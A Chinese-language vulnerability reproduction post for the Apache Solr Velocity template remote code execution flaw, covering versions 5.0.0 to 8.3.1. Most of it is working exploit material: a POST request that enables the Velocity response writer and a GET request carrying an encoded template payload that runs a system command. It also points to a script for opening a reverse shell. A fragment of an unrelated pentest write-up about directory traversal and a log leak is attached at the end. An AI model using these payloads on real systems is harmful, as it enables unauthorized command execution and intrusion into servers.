简介
Solr 是一个开源的企业级搜索服务器,底层使用易于扩展和修改的Java 来实现。服务器通信使用标准的HTTP 和XML,所以如果使用Solr 了解Java 技术会有用却不是必须的要求。
漏洞描述
Apache Solr 5.0.0版本至8.3.1版本中存在输入验证错误漏洞。攻击者可借助Velocity模板利用该漏洞在系统上执行任意代码。
影响版本
Apache Solr 5.0.0 - 8.3.1
漏洞复现
进入solr页面,用burp进行抓包,可以发现以下页面,其中name需要在接下来中用到
访问IP:8983/solr/demo/config , 出现以下页面很可能漏洞存在
通过burp抓包修改为POST包,200成功则漏洞一定存在
POST /solr/demo/config HTTP/1.1
Host: 192.168.8.230:30793
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.14; rv:55.0) Gecko/20100101 Firefox/55.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Content-Type: application/json
Content-Length: 261
Connection: close
Upgrade-Insecure-Requests: 1
{
"update-queryresponsewriter": {
"startup": "lazy",
"name": "velocity",
"class": "solr.VelocityResponseWriter",
"template.base.dir": "",
"solr.resource.loader.enabled": "true",
"params.resource.loader.enabled": "true"
}
}
通过burp改为GET包,执行id命令,成功
GET /solr/demo/select?q=1&&wt=velocity&v.template=custom&v.template.custom=%23set($x=%27%27)+%23set($rt=$x.class.forName(%27java.lang.Runtime%27))+%23set($chr=$x.class.forName(%27java.lang.Character%27))+%23set($str=$x.class.forName(%27java.lang.String%27))+%23set($ex=$rt.getRuntime().exec(%27id%27))+$ex.waitFor()+%23set($out=$ex.getInputStream())+%23foreach($i+in+[1..$out.available()])$str.valueOf($chr.toChars($out.read()))%23end HTTP/1.1
Host: 192.168.8.230:30793
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.14; rv:55.0) Gecko/20100101 Firefox/55.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1
还可通过cve-2019-17558_cmd.py,去反弹回一个shell终端
0X01正文打开网站……先用7kb扫一波目录。哦吼,发现了一堆的目录遍历(绿色的都是)这里一个 Log目录十分的显眼,很有可能造成log泄露。okey,如我所料收获了一个通用中危洞 √27450-kwvsjna88f.png同时我找到了代表用户名的dlm接下来…
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论